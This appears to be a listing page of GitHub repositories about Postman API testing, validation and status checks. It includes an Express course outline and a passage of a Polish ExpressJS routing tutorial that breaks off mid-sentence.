admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
boffey/postman
client, client side, design, designed, form, plugin, program, validation 		A jQuery form validation plugin designed to help programmers validate client side forms 1 stars 1 watchers 1 forks
omarabdeljelil/flight-api
data, fiddler, flight, includes, laravel, light, require, test, tested, user, validation 		Flight API (created with laravel 5.7) all the HTTP requests are tested with Postman/fiddler. it includes data validation and require user's Token validation for PUT,POST and DELETE requests 1 stars 1 watchers 0 forks
neelkhutale19/CoffeeMeetsBagel-API-Testing
check, evaluation, script, test, tested, validation 		Here I have tested CoffeeMeetsBagel API using Postman and Javascript. Test Cases include validation of Response Code, Content - Type check, Response time evaluation, Parameters Test, Validation of Schema and much more. 1 stars 1 watchers 0 forks
swiftinc/gpi-connector-backoffice-simulator
collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation 		This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. 0 stars 0 watchers 2 forks
AlexNDRmac/postman_asserts
api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation 		Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) 0 stars 0 watchers 1 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
rakiashi/goRest-API-validation-and-monitoring-using-POSTMAN
description, monitor, monitoring, script, validation 		No description available. 0 stars 0 watchers 0 forks
RMUSMAN/laravel-simple-restful-api-crud
crud, json, laravel, rest, restful, test, tested, validation 		simple restful api crud in laravel tested in postman. validation response in json. 0 stars 0 watchers 0 forks
anthonygilbertt/Node-and-Express-App
application, data, send, sends, validation 		A Node and Express application that has built in data validation using Joi and sends requests via Postman 0 stars 0 watchers 0 forks
katiershook/unit9workshop
unit, validation, workshop 		unit 9 workshop for validation using postman 0 stars 0 watchers 0 forks
Kattiavmp/PostmanScripts
data, validation 		Scripts for data validation 0 stars 0 watchers 0 forks
neomarmedina/prueba_meta
api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables 		Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
siddhantyadav/APITestingCoffeeMeetsBagels
check, evaluation, script, validation 		CoffeeMeetsBagel API using Postman and Javascript. Test Cases include validation of Response Code, Content - Type check, Response time evaluation, Parameters Test, Validation of Schema 0 stars 0 watchers 0 forks
yinchanted/gpi-prevalidation-internet-postman
calling, collection, intern, postman collection, sandbox, validation 		The postman collection for calling the gpi Pre-Validation sandbox API over the internet. 0 stars 0 watchers 0 forks

status (18 listings) (Back to Top)

sumory/moklr
http, mock, server, stat, status 		another "postman", status server, http request mock. 89 stars 89 watchers 26 forks
TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
michaeI-s/ScorpioBroker-Postman
collection, implementation, stat, status, test, testing 		Postman collection for testing implementation status of the Scorpio NGSI-LD Broker 1 stars 1 watchers 0 forks
Gencid/Hello-Postman-2
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-okrwf6lgoj
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-upi1z7ukzm
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-wury8o3fjz
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repositoryr23h6gc553
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
data4development/postman-tests
check, collection, data, development, operation, operationa, stat, status, test, tests 		Postman collection of API calls to check the operationa; status of the DataWorkbench for IATI Data Quality Feedback 0 stars 0 watchers 0 forks
dicarea/where-postman
application, form, stat, status, track, tracking 		Android application that keeps you informed about correos's tracking status. 0 stars 0 watchers 0 forks
fabianobr/healthchecker
check, projet, projeto, render, stat, status 		O objetivo deste projeto é simples, avaliar o status de vários serviços (ou microserviços). Muito útil quando há muitos serviços a serem avaliados, evitando de conectar um a um via Postman, Insomnia ou outras ferramentas. O segundo objetivo é aprender Go (ou Goland). 0 stars 0 watchers 0 forks
geeeeeeeeek/opt-postman
days, email, mail, notification, stat, status 		📮Get email notification of OPT status & statistics every * days. 0 stars 0 watchers 0 forks
kristaeis/REST-API---status-codes
codes, environment, stat, status, test, tests 		REST API featuring status codes and Postman tests/environment 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę 